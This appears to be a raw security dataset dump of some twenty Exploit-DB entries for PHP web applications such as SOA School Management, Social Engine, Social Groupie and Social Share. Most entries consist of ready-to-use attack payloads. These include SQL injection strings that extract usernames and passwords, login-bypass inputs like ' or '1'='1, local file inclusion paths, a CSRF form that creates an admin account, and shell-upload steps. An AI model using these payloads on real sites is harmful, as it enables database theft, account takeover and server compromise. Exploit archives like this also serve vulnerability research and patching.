deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42499
Description: SOA School Management 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: SOA School Management 3.0 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : https://ynetinteractive.com/
# Software Link: http://codecanyon.net/item/soa-school-management-software-with-integrated-parents-students-portal/20435367?s_rank=3
# Demo: http://demo.ynetinteractive.com/soa/
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
# http://localhost/[PATH]/drivers/jquery/usersession_exam.php?id=[SQL]
# http://localhost/[PATH]/drivers/jquery/session_exam.php?id=[SQL]
# 1'+/*!44444union*/+/*!44444select*/+1,2,(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32)),4,5--+-
# 1'+/*!44444union*/+/*!44444select*/+1,2,concat(username,0x3a,password),4,5+from+users--+-
# 
# http://localhost/[PATH]/Assignment.php?student_id=[SQL]
# 7'and+(select+0x31+from (select+count(*),concat((select(select concat(cast(database() as char),0x7e))+from information_schema.tables+where table_schema=database()+limit 0,1),floor(rand(0)*2))x from+information_schema.tables+group+by+x)a)+AND ''='
# 
# http://localhost/[PATH]/Fee.php?pay&student_id=7&fee_id=[SQL]
# 
# http://localhost/[PATH]/YearBook.php?session_id=[SQL]
# 
# http://localhost/[PATH]/Transaction.php?invoice=[SQL]
# 
# Etc...
# # # # #
Exploit-DB #46834
Description: SOCA Access Control System 180612 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2019-05-13
Author: LiquidWorm

Exploit:
SOCA Access Control System 180612 CSRF Add Admin Exploit


Vendor: SOCA Technology Co., Ltd
Product web page: http://www.socatech.com
Affected version: 180612, 170000 and 141007

Summary: The company's products include Proximity and Fingerprint access
control system, Time and Attendance, Electric Locks, Card reader and writer,
keyless entry system and other 30 specialized products. All products are
attractively designed with advanced technology in accordance with users'
safety and convenience which also fitted international standard.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: Windows NT 6.1 build 7601 (Windows 7 Service Pack 1) i586
           Windows NT 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
           Apache/2.2.22 (Win32)
           PHP/5.4.13


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5520
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5520.php


20.04.2018

--


<html>
  <body>
  <script>history.pushState('', 'shpa', '/index-pc.php')</script>
    <form action="http://10.0.0.3/Permission/Insert_Permission.php" method="POST">
      <input type="hidden" name="Permission" value='{"Idx":null,"Id":"Imposter","Password":"123456","Access":"ffffff00ff00ffffff00"}' />
      <input type="submit" value="Forge!" />
    </form>
  </body>
</html>
Exploit-DB #13977
Description: Social Community Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-22
Author: L0rd CrusAd3r

Exploit:
1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Social Community Script SQL Vulnerable 
Vendor url:http://www.2daybiz.com/
Version:1
Price:250$
Published: 2010-06-22
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, M4n0j, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team , Andhrahackers.com
Shoutzz:- To all ICW members.
‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Description:

2daybiz Social Community site php script is an online social networking software that allows you to start your own site just like Myspace, Hi5 and Facebook. This community script allows members to connect people in their personal networks and create a new online interactive resource that is based on a trusted network of friends and associates on the internet.

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Vulnerability:

*Authentication Bypass found

The Provided Script as Sqli Vulnerability in Admin Login page

DEMO URL:

http://server/socialcommunity/admin/index.php

Use the string a' or '1'='1 for Username and Password to gain access.


# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #41858
Description: Social Directory Script 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-04-11
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Social Directory Script 2.0 - SQL Injection
# Google Dork: N/A
# Date: 11.04.2017
# Vendor Homepage: http://www.phponly.com/
# Software: http://www.phponly.com/Social-Directory.html
# Demo: http://www.phponly.com/demo/link/
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?subcategory=[SQL]
# http://localhost/[PATH]/searchtopic.php?search=[SQL]
# http://localhost/[PATH]/index.php?category=[SQL]
# phponly_link_admin:id
# phponly_link_admin:username
# phponly_link_admin:password
# # # # #
Exploit-DB #4767
Description: Social Engine 2.0 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2007-12-21
Author: MhZ91

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------
Http://www.inj3ct-it.org     Staff[at]inj3ct-it[dot]org 
---------------------------------------------------------------
  Local File Inclusion
---------------------------------------------------------------
# Author: MhZ91
# Title: Social Engine v2.0 - Local File Inclusion
# Download: http://scriptmafia.org/2007/12/17/social_engine_v2.0.html
# Bug: Local File Inclusion
# Visit: http://www.inj3ct-it.org
---------------------------------------------------------------
Exploit: http://[site]/admin/admin_header_album.php?global_lang=[LFI]%00
Exploit: http://[site]/admin/admin_header_blog.php?global_lang=[LFI]%00
Exploit: http://[site]/admin/admin_header_group.php?global_lang=[LFI]%00
Exploit: http://[site]/header_album.php?global_lang=[LFI]%00
Exploit: http://[site]/header_blog.php?global_lang=[LFI]%00
Exploit: http://[site]/header_group.php?global_lang=[LFI]%00
---------------------------------------------------------------

# milw0rm.com [2007-12-21]
Exploit-DB #15830
Description: Social Engine 4.x (Music Plugin) - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-12-25
Author: MyDoom

Exploit:
###########################################################################
# Exploit Title: Social Engine 4.x (Music Plugin) Arbitrary File Upload
# Google Dork: inurl:"user/auth/forgot"
# Date: 22/12/2010
# Author: MyDoom ( Moroccan Hacker )
# Contact: MyDoom2009@gmail.com
# Software Link: http://http://www.socialengine.net
# Version: Social Engine 4.x (should work on previous versions but no tested)
# Tested on: Windows 7 - Linux 3.6.33 2010 - Linux 3.6.18 2010 -
Windows Server 2003
# Greetz to : ALBoraaq Hackers ;) - Especially T3es
###########################################################################

Vulnerable Javascript Source Code:

          window.addEvent('domready', function() { // wait for the content

               ...snip...

                         // remove that line to select all files, or edit it, add more items
                         typeFilter: {
                               'Music (*.mp3,*.m4a,*.aac,*.mp4)': '*.mp3; *.m4a; *.aac; *.mp4'
                           },

Description:

The File filter used in the code don't check the uploaded file but
only set the type of files that can be veiwed in the upload window
so if we type  *.*    in the filename we will see all others file and
then we can upload any type of file.

Exploit:

[~] Step 1 : Find A social network using the Social Engine with MUSIC PLUGIN

[~] Step 2: Register A Fake Account

[~] Step 3: Click On Music Link in the menu or go to http://www.xxxx.com/music

[~] Step 4: Click On Upload Music And Then Fill the Playlist info

[~] Step 5: Click On Add Music And Select The php file ( If you can
see php file in the upload window type *.* in the file name )

[~] Step 6: And Click on save music to playlist

[~] Step 7: You Will See the Music Player Move the Cursor on the php
filename and copy the link of the shell.

Generaly it will be :
http://www.xxx.com/public/music_song/1000000/[numbers]/[user_id]/[some_numbers].php
Exploit-DB #7435
Description: Social Groupie - 'create_album.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-12-12
Author: InjEctOr5

Exploit:
 
                          ||          ||   | ||         
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,  
                  ( :   /    (_)    /           (   .   
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
 
 
<<!>> Found by  :  Cyb3r-1sT
 
<<!>> C0ntact : cyb3r-1st [at] hotmail.com  
                    
<<!>> Groups : InjEctOr5 T3am  
 
=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================
 
 
<<->> script   : Social Groupie
 
<<->> download : www.socialgroupie.com   
 
 
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
 
 
<<->> D0rk    : find it
 
<<->> Exploit :>>>  After u Register in site flow this steps  
 
                         Step 1 :>  Goto photos section : http://www.site.me/Photos/photos.php
 
                         Step 2 :> Create new album :  http://www.site.me/Photos/create_album.php
 
                         Step 3 :> Upload ur shell as ( shell.jpg.php Or shell.php ) .. Ur shell will be here http://www.site.me/Member_images/
 
=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
 
<<->> All freinds , all muslims , str0ke 

# milw0rm.com [2008-12-12]
Exploit-DB #7433
Description: Social Groupie - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-12
Author: InjEctOr5

Exploit:
 
                          ||          ||   | ||         
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,  
                  ( :   /    (_)    /           (   .   
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
 
 
<<!>> Found by  :  Cyb3r-1sT
 
<<!>> C0ntact : cyb3r-1st [at] hotmail.com  
                    
<<!>> Groups : InjEctOr5 T3am  
 
=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================
 
 
<<->> script   : Social Groupie
 
<<->> download : www.socialgroupie.com   
 
 
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
 
 
<<->> D0rk    : find it
 
<<->> Exploit :>>>
 
    :>>  http://www.site.me/group_index.php?id=-1067+Union+select+0,0,0,0,0,0,0,0,0,concat(username,0x3a,password),0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+tbl_admin--
 
 
 
=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
 
<<->> All freinds , all muslims , str0ke 

# milw0rm.com [2008-12-12]
Exploit-DB #34383
Description: Social Media - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-07-27
Author: Harri Johansson

Exploit:
source: https://www.securityfocus.com/bid/42009/info

Social Media is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

Social Media 2.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?view=../../../../../../../../../../../../../../../proc/self/environ%00
Exploit-DB #35659
Description: Social Microblogging PRO 1.5 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-12-31
Author: Halil Dalabasmaz

Exploit:
# Exploit Title: Social Microblogging PRO 1.5 Stored XSS Vulnerability
# Date: 29-12-2014
# Exploit Author: Halil Dalabasmaz
# Version: v1.5
# Vendor Homepage:
http://codecanyon.net/item/social-microblogging-pro/9217005
# Tested on: Chrome & Iceweasel

# Vulnerability Description:

===Stored XSS===
"Web Site" input is not secure at Profile section. You can run XSS payloads
on "Web Site" input.

Sample Payload for Stored XSS: http://example.com/">[xssPayload]

=Solution=
Filter the input field against to XSS attacks.
================
Exploit-DB #36461
Description: Social Network Community 2 - 'userID' SQL Injection
Type: webapps
Platform: php
Date: 2011-12-17
Author: Lazmania61

Exploit:
source: https://www.securityfocus.com/bid/51107/info

Social Network Community is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Social Network Community 2 is vulnerable; other versions may also be affected. 

http://www.example.com/social2/user.php?userId=12'a
Exploit-DB #41536
Description: Social Network Script 3.01 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Social Network Script v3.01 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/social-network-script/
# Demo: http://myeliteprofile.com/
# Version: 3.01
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/[SQL]
# http://localhost/scrapbook.php?id=[SQL
# http://localhost/profile_social.php?id=[SQL
# http://localhost/my_bookmark.php?id=[SQL
# http://localhost/profile_social.php?mode=addbookmark&id=[SQL
# Etc... Etc...
# # # # #
Exploit-DB #49140
Description: Social Networking Site - Authentication Bypass (SQli)
Type: webapps
Platform: php
Date: 2020-12-01
Author: gh1mau

Exploit:
# Exploit Title: Social Networking Site - Authentication Bypass (SQli)
# Date: 2020-11-17
# Exploit Author: gh1mau 
# Email: gh1mau.rulez@gmail.com
# Team Members: Capt'N, muzzo, chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://www.sourcecodester.com/php/14601/social-networking-site-phpmysqli-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14601&title=Social+Networking+Site+in+PHP%2FMySQLi+with+Full+Source+Code
# Software Release Date: November 17, 2020
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Vulnerable File:
---------------- 
/signin_form.php

Vulnerable Code:
-----------------
Entry point:

line 7: $email=$_POST['email'];
line 8: $password=$_POST['password'];

Exit point:
line 10: $result = mysqli_query($con,"SELECT * FROM user WHERE email = '$email' and [CREDENTIAL_REDACTED]'");

Vulnerable Issue:
-----------------
Attacker could bypass the authentication using simple sqli login bypass payload

	username: gh1mau@gh1mau.com
	password: ' or '1'='1
Exploit-DB #41121
Description: Social News and Bookmarking Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-19
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection
# Date: 19.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: Social News and Bookmarking Script
# Script Buy Now: http://www.scriptfolder.com/scriptfolder-bookmark-drive-social-news-and-bookmarking-script/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?term=[SQL]
# E.t.c.... 
# # # # #
Exploit-DB #44036
Description: Social Oauth Login PHP - Authentication Bypass
Type: webapps
Platform: php
Date: 2018-02-14
Author: L0RD

Exploit:
# Exploit Title: Social Oauth Login PHP - Authentication Bypass
# Dork: N/A
# Date: 2018-02-12
# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
# Vendor Homepage: https://www.codester.com/items/4554/social-oauth-login-php
# Version: All version
# Category: Webapps
# CVE: N/A
# # # # #
# Description:
# With this exploit,attacker can bypass admin login authentication.
# # # # #
# Proof of Concept :

http://localhost/PATH/adminLogin.php

# Username : anything
# Password : ' or ''='
Exploit-DB #35122
Description: Social Share - 'postid' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-20
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45497/info

Social Share is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/socialshare/postview.php? postid=-1 union select 1,2,3,4,5,6,7,8,9,10#
Exploit-DB #35142
Description: Social Share - 'search' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-23
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45566/info

Social Share is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/socialshare/search.php?search=<XSS>
Exploit-DB #35131
Description: Social Share - 'Username' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-21
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45536/info

Social Share is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

The following example input is available:

Username: anytext' or verified=1#

[CREDENTIAL_REDACTED]_text
Exploit-DB #35137
Description: Social Share - 'vote.php' HTTP Response Splitting
Type: webapps
Platform: php
Date: 2010-12-10
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45550/info

Social Share is prone to an HTTP response-splitting vulnerability because it fails to sufficiently sanitize user-supplied data.

Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust. 

The following example input is available:

Vulnerable code: $referrer = $_SERVER[HTTP_REFERER]; header("Location: $referrer");

HTTP query ("Referer" field):

Referer: http://www.example.com/\r\n[second new response]
Exploit-DB #35121
Description: Social Share - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-12-17
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45485/info

Social Share is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/socialshare/save.php?title=<XSS>

http://www.example.com/socialshare/save.php?url="><XSS>